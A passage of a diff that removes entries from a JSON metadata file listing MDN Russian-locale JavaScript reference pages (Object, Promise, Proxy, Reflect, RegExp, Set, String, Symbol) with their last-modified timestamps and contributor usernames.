- "modified": "2019-03-23T23:09:30.861Z",
- "contributors": [
- "tankakatan",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": {
- "modified": "2019-03-23T23:37:49.274Z",
- "contributors": [
- "tourman",
- "iSokrat",
- "gibson",
- "RumyantsevMichael",
- "uniqueusr",
- "Mingun",
- "Natalya_Surikova",
- "Anton_Arestov",
- "akhabibullina",
- "teoli",
- "dunmaksim",
- "my8bit",
- "Selvatico"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/entries": {
- "modified": "2020-10-15T21:41:30.272Z",
- "contributors": [
- "cloudofgeorge",
- "KolesnikovR",
- "SpawnLeon",
- "YozhEzhi",
- "Akh-rman",
- "fscholz",
- "bobberr",
- "XaveScor",
- "uazure",
- "curdwithraisins",
- "risentveber",
- "Grinv"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/freeze": {
- "modified": "2020-10-15T21:30:06.043Z",
- "contributors": [
- "YozhEzhi",
- "WispProxy",
- "kdex",
- "pk.prog",
- "chayn1k",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": {
- "modified": "2020-10-15T22:14:28.772Z",
- "contributors": [
- "ekirpichyov",
- "Autapomorph",
- "Akh-rman"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": {
- "modified": "2019-03-24T00:14:06.824Z",
- "contributors": [
- "Mingun",
- "teoli",
- "pashak"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors": {
- "modified": "2020-10-15T22:14:28.295Z",
- "contributors": [
- "Akh-rman"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames": {
- "modified": "2020-10-15T21:30:07.880Z",
- "contributors": [
- "YozhEzhi",
- "nakhodkiin",
- "tourman",
- "VsevolodTrofimov",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols": {
- "modified": "2020-10-15T21:30:06.924Z",
- "contributors": [
- "nakhodkiin",
- "SphinxKnight",
- "Mingun",
- "schyzoo"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf": {
- "modified": "2019-03-23T23:09:23.592Z",
- "contributors": [
- "tonyganch",
- "Mingun",
- "Natalya_Surikova"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": {
- "modified": "2020-10-15T21:21:02.788Z",
- "contributors": [
- "Roman-Kosov",
- "ihoru",
- "Mingun",
- "teoli",
- "Nick_Pershin",
- "nurbek.ab"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/is": {
- "modified": "2020-10-15T21:26:43.137Z",
- "contributors": [
- "YozhEzhi",
- "SphinxKnight",
- "Mingun",
- "teoli",
- "Romanzes",
- "franza"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": {
- "modified": "2019-10-09T12:01:13.252Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": {
- "modified": "2020-10-15T21:30:08.003Z",
- "contributors": [
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": {
- "modified": "2020-02-04T15:23:51.484Z",
- "contributors": [
- "bagau",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/isSealed": {
- "modified": "2019-10-09T11:11:04.447Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/keys": {
- "modified": "2020-10-15T21:30:08.678Z",
- "contributors": [
- "zhvirblis",
- "kdex",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": {
- "modified": "2020-10-15T21:30:08.070Z",
- "contributors": [
- "YozhEzhi",
- "serzero2007",
- "nakhodkiin",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": {
- "modified": "2019-03-23T23:09:13.597Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/proto": {
- "modified": "2020-10-15T21:29:34.357Z",
- "contributors": [
- "YozhEzhi",
- "Sajag",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/prototype": {
- "modified": "2020-03-13T11:04:21.413Z",
- "contributors": [
- "fishr-flash",
- "AMurkin",
- "Mingun",
- "teoli",
- "kreshikhin"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/seal": {
- "modified": "2020-10-15T21:30:09.594Z",
- "contributors": [
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": {
- "modified": "2019-09-11T03:19:06.537Z",
- "contributors": [
- "Ichiru123",
- "SphinxKnight",
- "oziian",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": {
- "modified": "2019-09-20T08:30:13.696Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/toSource": {
- "modified": "2020-10-15T21:30:13.861Z",
- "contributors": [
- "boxa6",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/toString": {
- "modified": "2020-10-15T21:30:10.362Z",
- "contributors": [
- "ekirpichyov",
- "IvanMorkva",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/valueOf": {
- "modified": "2019-03-23T23:15:16.213Z",
- "contributors": [
- "Haosik",
- "Natalya_Surikova",
- "Mingun",
- "teoli",
- "mixture"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/values": {
- "modified": "2020-10-15T21:50:11.196Z",
- "contributors": [
- "ekirpichyov",
- "Yialo",
- "XaveScor",
- "Biblbrox",
- "nllsdfx",
- "ozknemoy"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise": {
- "modified": "2020-10-15T21:29:45.619Z",
- "contributors": [
- "YuriSn",
- "gudkovdanila",
- "YozhEzhi",
- "alok1",
- "AliaksandrZahorski",
- "jwhitlock",
- "ugncry",
- "Geloosa",
- "RinatMullayanov",
- "AlexKhram",
- "applicab",
- "prettyGoo",
- "dtretyakov",
- "Chudesnov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/all": {
- "modified": "2020-10-15T21:33:26.483Z",
- "contributors": [
- "BakrID",
- "YozhEzhi",
- "nudaworks",
- "rutsky",
- "NikIvan",
- "AlexKhram",
- "Crazymax11",
- "f0rmat1k",
- "axilirator"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": {
- "modified": "2020-10-15T22:22:39.384Z",
- "contributors": [
- "Neiromaster",
- "ekirpichyov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/any": {
- "modified": "2020-10-15T22:27:25.562Z",
- "contributors": [
- "ArkadiiRaih"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/catch": {
- "modified": "2020-10-15T21:48:47.444Z",
- "contributors": [
- "IgorCH",
- "tirli",
- "vitya-ne",
- "torbasow",
- "sergey-shambir",
- "LopatkinEvgeniy",
- "AlexKhram"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/finally": {
- "modified": "2020-10-15T22:01:51.236Z",
- "contributors": [
- "kir.gimranov",
- "mshipov",
- "RussianPhotoGraf",
- "IhnatsiS",
- "NoviceBlunderer",
- "Zudwa",
- "x1unix"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/prototype": {
- "modified": "2019-10-16T18:35:40.649Z",
- "contributors": [
- "tsimafey",
- "viosng",
- "alexicum",
- "AlexKhram"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/race": {
- "modified": "2020-10-15T21:39:40.095Z",
- "contributors": [
- "asamofal",
- "nakhodkiin",
- "fscholz",
- "nudaworks",
- "hawker000",
- "thedoctorde",
- "AlexKhram",
- "forsage"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/reject": {
- "modified": "2020-10-15T21:39:33.387Z",
- "contributors": [
- "sergey-shambir",
- "fscholz",
- "Buggytheclown",
- "0xff00ff",
- "AlexKhram",
- "UnikZ"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/resolve": {
- "modified": "2020-10-15T21:48:52.330Z",
- "contributors": [
- "gusakmarina",
- "nudaworks",
- "AlexKhram",
- "ball00n"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Promise/then": {
- "modified": "2020-11-03T18:52:52.359Z",
- "contributors": [
- "fanich37",
- "smlkA",
- "YozhEzhi",
- "Kesantielu",
- "andreymir",
- "AlexKhram",
- "LeoVS09",
- "ksladkov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy": {
- "modified": "2020-11-17T05:36:00.208Z",
- "contributors": [
- "kosarev_va",
- "sivashev",
- "xurshidbekjonwin",
- "lmjavascriptprogrammer",
- "boxa6",
- "DonikaV",
- "nakhodkiin",
- "Andrey-Bushman",
- "kdex",
- "torbasow",
- "dtretyakov",
- "im7mortal"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": {
- "modified": "2020-11-16T16:36:02.171Z",
- "contributors": [
- "mfuji09"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply": {
- "modified": "2020-11-18T06:41:35.789Z",
- "contributors": [
- "kosarev_va"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get": {
- "modified": "2020-11-17T05:45:02.908Z",
- "contributors": [
- "kosarev_va"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy/handler": {
- "modified": "2020-11-18T06:44:17.889Z",
- "contributors": [
- "kosarev_va",
- "SphinxKnight"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty": {
- "modified": "2020-10-15T22:14:52.334Z",
- "contributors": [
- "smlkA"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy/handler/set": {
- "modified": "2020-11-17T05:50:39.778Z",
- "contributors": [
- "kosarev_va",
- "Vilafox"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Proxy/revocable": {
- "modified": "2020-10-15T22:01:47.719Z",
- "contributors": [
- "HarmlessEvil"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RangeError": {
- "modified": "2019-03-23T23:08:28.070Z",
- "contributors": [
- "Mingun",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RangeError/prototype": {
- "modified": "2019-03-23T23:08:28.689Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/ReferenceError": {
- "modified": "2020-10-15T21:30:26.550Z",
- "contributors": [
- "dima74",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype": {
- "modified": "2019-03-23T23:08:22.399Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Reflect": {
- "modified": "2020-11-08T07:48:53.681Z",
- "contributors": [
- "parabolabam",
- "bakugod",
- "Chank1e",
- "SphinxKnight",
- "Synthesize",
- "rajdee",
- "C`est la vie"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Reflect/apply": {
- "modified": "2020-10-15T22:01:47.478Z",
- "contributors": [
- "HarmlessEvil"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Reflect/construct": {
- "modified": "2020-10-15T22:19:59.737Z",
- "contributors": [
- "bakugod"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": {
- "modified": "2020-10-15T22:19:53.301Z",
- "contributors": [
- "bakugod"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": {
- "modified": "2020-10-15T22:19:49.053Z",
- "contributors": [
- "bakugod"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Reflect/get": {
- "modified": "2020-10-15T22:01:46.509Z",
- "contributors": [
- "HarmlessEvil"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": {
- "modified": "2020-10-15T22:05:30.827Z",
- "contributors": [
- "ArturJS"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp": {
- "modified": "2020-08-25T20:36:26.657Z",
- "contributors": [
- "duduindo",
- "etonomick",
- "needpower",
- "username1565",
- "PavelKoroteev",
- "Zizes",
- "kaifonaft",
- "wbamberg",
- "Express2000",
- "WispProxy",
- "bobanko",
- "sashatexb",
- "Grundy",
- "dstereo",
- "socketpair",
- "Hulio",
- "Mingun",
- "KiraAndMaxim",
- "rhyne24"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/@@search": {
- "modified": "2020-10-15T22:00:22.795Z",
- "contributors": [
- "fax1ty"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/@@split": {
- "modified": "2020-10-15T22:05:39.755Z",
- "contributors": [
- "0x0071"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/exec": {
- "modified": "2019-10-03T07:10:20.564Z",
- "contributors": [
- "Haosik",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/flags": {
- "modified": "2019-03-23T23:03:48.545Z",
- "contributors": [
- "SphinxKnight",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/global": {
- "modified": "2019-03-23T23:03:48.212Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase": {
- "modified": "2019-03-23T23:03:53.037Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/input": {
- "modified": "2020-10-15T22:21:51.345Z",
- "contributors": [
- "gudkovdanila"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex": {
- "modified": "2019-03-23T23:03:47.604Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch": {
- "modified": "2020-10-15T22:21:50.708Z",
- "contributors": [
- "zoodogood",
- "gudkovdanila"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/multiline": {
- "modified": "2019-03-23T23:03:46.419Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/n": {
- "modified": "2020-10-15T21:54:34.887Z",
- "contributors": [
- "ekirpichyov",
- "teoli",
- "yulllll",
- "Mihail15",
- "KamilOcean"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/prototype": {
- "modified": "2019-03-23T23:05:56.982Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/source": {
- "modified": "2020-05-04T10:45:02.263Z",
- "contributors": [
- "ellizii",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/sticky": {
- "modified": "2019-03-23T23:03:51.760Z",
- "contributors": [
- "SphinxKnight",
- "serj-by",
- "WispProxy",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/test": {
- "modified": "2020-05-25T03:11:01.471Z",
- "contributors": [
- "SphinxKnight",
- "pohuyebawtak",
- "Glazomer",
- "waterplea",
- "Mingun",
- "InoY"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/toSource": {
- "modified": "2019-08-27T16:00:03.262Z",
- "contributors": [
- "Yialo",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/toString": {
- "modified": "2019-03-23T23:03:38.400Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/RegExp/unicode": {
- "modified": "2020-10-15T22:03:35.958Z",
- "contributors": [
- "PROPHESSOR"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set": {
- "modified": "2020-10-15T21:31:17.149Z",
- "contributors": [
- "andrew_shr",
- "YozhEzhi",
- "kan.a",
- "SphinxKnight",
- "dima74",
- "papadima",
- "vibecode",
- "ViZhe",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/Set": {
- "modified": "2020-12-07T09:25:28.434Z",
- "contributors": [
- "SphinxKnight",
- "knatysik"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/add": {
- "modified": "2020-10-15T22:03:24.314Z",
- "contributors": [
- "Siteograf"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/clear": {
- "modified": "2020-10-15T21:58:59.279Z",
- "contributors": [
- "dima74"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/delete": {
- "modified": "2020-10-15T22:04:59.296Z",
- "contributors": [
- "ekirpichyov",
- "ArmoGidec"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/entries": {
- "modified": "2020-10-15T22:22:34.627Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/forEach": {
- "modified": "2020-10-15T22:18:01.267Z",
- "contributors": [
- "TatarovAE",
- "boulderboy"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/has": {
- "modified": "2020-10-15T22:10:52.073Z",
- "contributors": [
- "raylyanway"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/prototype": {
- "modified": "2020-10-15T22:08:32.198Z",
- "contributors": [
- "AndreyGlyan",
- "qqwweeaassdd",
- "paramoshkinandrew"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/size": {
- "modified": "2020-10-15T22:22:51.490Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Set/values": {
- "modified": "2020-10-15T22:22:36.094Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": {
- "modified": "2019-03-23T22:09:27.484Z",
- "contributors": [
- "nikolaysalinder",
- "scilganon",
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String": {
- "modified": "2020-11-19T06:55:56.629Z",
- "contributors": [
- "liubov",
- "mangl-auf",
- "boxa6",
- "wbamberg",
- "an2323",
- "IvanMorkva",
- "Mingun",
- "fobo66",
- "teoli",
- "ethertank"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/@@iterator": {
- "modified": "2020-10-14T10:03:26.063Z",
- "contributors": [
- "scrum",
- "SphinxKnight",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/Trim": {
- "modified": "2019-03-23T23:11:20.382Z",
- "contributors": [
- "KiraAndMaxim",
- "Mingun",
- "Ajooluz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/TrimLeft": {
- "modified": "2019-03-23T23:06:19.542Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/TrimRight": {
- "modified": "2019-03-23T23:06:21.966Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/anchor": {
- "modified": "2019-03-18T20:48:46.079Z",
- "contributors": [
- "risenforces",
- "DenVdmj",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/big": {
- "modified": "2019-03-23T23:06:53.527Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/blink": {
- "modified": "2019-03-23T23:06:56.834Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/bold": {
- "modified": "2019-03-23T23:06:52.878Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/charAt": {
- "modified": "2019-09-05T08:52:29.623Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/charCodeAt": {
- "modified": "2019-10-10T16:47:08.723Z",
- "contributors": [
- "WispProxy",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/codePointAt": {
- "modified": "2019-03-23T23:06:49.782Z",
- "contributors": [
- "SphinxKnight",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/concat": {
- "modified": "2019-03-23T23:06:50.258Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/endsWith": {
- "modified": "2020-11-30T13:19:02.930Z",
- "contributors": [
- "vedmaque",
- "viktishchenko",
- "SphinxKnight",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/fixed": {
- "modified": "2019-03-23T23:06:56.996Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/fontcolor": {
- "modified": "2019-03-23T23:06:53.696Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/fontsize": {
- "modified": "2019-03-23T23:06:55.867Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/fromCharCode": {
- "modified": "2020-02-26T00:26:26.501Z",
- "contributors": [
- "kurbanovjasur",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/fromCodePoint": {
- "modified": "2019-03-23T23:07:12.216Z",
- "contributors": [
- "SphinxKnight",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/includes": {
- "modified": "2020-10-15T21:31:11.231Z",
- "contributors": [
- "Therrance",
- "fscholz",
- "dima74",
- "PetrBorisov",
- "kdex",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/indexOf": {
- "modified": "2019-04-10T16:45:26.467Z",
- "contributors": [
- "danielvinogradov",
- "expeerd",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/italics": {
- "modified": "2019-03-23T23:06:57.747Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/lastIndexOf": {
- "modified": "2019-03-23T23:06:47.724Z",
- "contributors": [
- "expeerd",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/length": {
- "modified": "2019-03-23T23:07:11.163Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/link": {
- "modified": "2019-03-23T23:06:52.727Z",
- "contributors": [
- "RumyantsevMichael",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/localeCompare": {
- "modified": "2019-03-23T23:06:31.683Z",
- "contributors": [
- "ovvn",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/match": {
- "modified": "2019-08-27T15:10:06.292Z",
- "contributors": [
- "Yialo",
- "ArmoGidec",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/matchAll": {
- "modified": "2020-10-15T22:15:55.263Z",
- "contributors": [
- "atmobox66",
- "Yialo",
- "nakhodkiin"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/normalize": {
- "modified": "2019-08-27T15:13:41.527Z",
- "contributors": [
- "Yialo",
- "Seresigo",
- "borschsergey",
- "SphinxKnight",
- "Metotron",
- "Mingun",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/padEnd": {
- "modified": "2019-08-27T15:13:11.473Z",
- "contributors": [
- "Yialo",
- "teoli",
- "a-chepugov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/padStart": {
- "modified": "2020-10-15T21:55:08.745Z",
- "contributors": [
- "Yialo",
- "vladimircreative",
- "wa-Nadoo",
- "timbset"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/prototype": {
- "modified": "2019-08-27T15:11:15.337Z",
- "contributors": [
- "Yialo",
- "EugeneTarasenko",
- "ukrlex01",
- "arctic-hare",
- "webnarmin",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/raw": {
- "modified": "2019-03-23T23:06:30.098Z",
- "contributors": [
- "SphinxKnight",
- "oleg_s",
- "Mingun",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/repeat": {
- "modified": "2020-10-15T21:31:18.222Z",
- "contributors": [
- "KTatyana",
- "Mingun",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/replace": {
- "modified": "2020-10-15T21:24:19.735Z",
- "contributors": [
- "YozhEzhi",
- "dimakovalevskyi",
- "igorkusoff",
- "Mingun",
- "Lambrusco.pro",
- "teoli",
- "andrey_d"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/replaceAll": {
- "modified": "2020-10-15T22:34:38.094Z",
- "contributors": [
- "GuyFox70"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/search": {
- "modified": "2019-10-03T07:09:20.235Z",
- "contributors": [
- "Glazomer",
- "nakhodkiin",
- "atna",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/slice": {
- "modified": "2020-12-02T04:52:58.834Z",
- "contributors": [
- "inva8de",
- "bestwebdeveloper",
- "Andrii-Oleksyshyn",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/small": {
- "modified": "2019-03-23T23:06:51.754Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/split": {
- "modified": "2020-11-30T06:21:03.966Z",
- "contributors": [
- "DarkGoanna",
- "Ect0PzG4m1ng",
- "IgorSkvortsov",
- "bruha",
- "terranisu",
- "Mingun",
- "FRiMN"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/startsWith": {
- "modified": "2020-10-15T21:31:11.246Z",
- "contributors": [
- "ilyasidorchik",
- "viktishchenko",
- "Simaleon",
- "dmitryorly",
- "SphinxKnight",
- "AtataUruru",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/strike": {
- "modified": "2019-09-05T08:52:44.580Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/sub": {
- "modified": "2019-03-23T23:07:01.566Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/substr": {
- "modified": "2020-10-15T21:31:19.515Z",
- "contributors": [
- "art-gur",
- "lugovov",
- "Halkyon",
- "fscholz",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/substring": {
- "modified": "2019-03-23T23:06:24.574Z",
- "contributors": [
- "Barkhat26",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/sup": {
- "modified": "2019-03-23T23:06:59.702Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase": {
- "modified": "2019-03-23T23:06:20.649Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase": {
- "modified": "2019-03-23T23:06:18.129Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/toLowerCase": {
- "modified": "2019-03-23T23:06:20.814Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/toSource": {
- "modified": "2019-03-23T23:06:17.942Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/toString": {
- "modified": "2019-03-23T23:06:15.157Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/toUpperCase": {
- "modified": "2019-03-23T23:06:22.989Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/valueOf": {
- "modified": "2019-05-17T04:11:09.851Z",
- "contributors": [
- "dankochetov",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol": {
- "modified": "2020-10-15T21:30:42.254Z",
- "contributors": [
- "mux-mux",
- "boxa6",
- "pk.prog",
- "smurf",
- "neutral",
- "schyzoo"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive": {
- "modified": "2020-10-15T22:24:20.085Z",
- "contributors": [
- "faramozzayw"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/for": {
- "modified": "2019-03-23T22:50:59.073Z",
- "contributors": [
- "SphinxKnight",
- "neutral"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance": {
- "modified": "2020-10-15T21:56:25.834Z",
- "contributors": [
- "boxa6",
- "vitaliylag",
- "shlangus"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable": {
- "modified": "2019-03-23T22:10:03.691Z",
- "contributors": [
- "Samotugo"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/iterator": {
- "modified": "2019-03-23T22:50:51.621Z",
- "contributors": [
- "SphinxKnight",
- "neutral"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/keyFor": {
- "modified": "2020-10-15T21:50:47.387Z",
- "contributors": [
- "boxa6",
- "nakhodkiin",
- "Ohar"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/match": {
- "modified": "2019-03-23T22:50:55.400Z",
- "contributors": [
- "SphinxKnight",
- "neutral"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/prototype": {
- "modified": "2019-03-23T22:50:51.135Z",
- "contributors": [
- "SphinxKnight",
- "neutral"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/replace": {
- "modified": "2019-04-02T08:34:58.523Z",
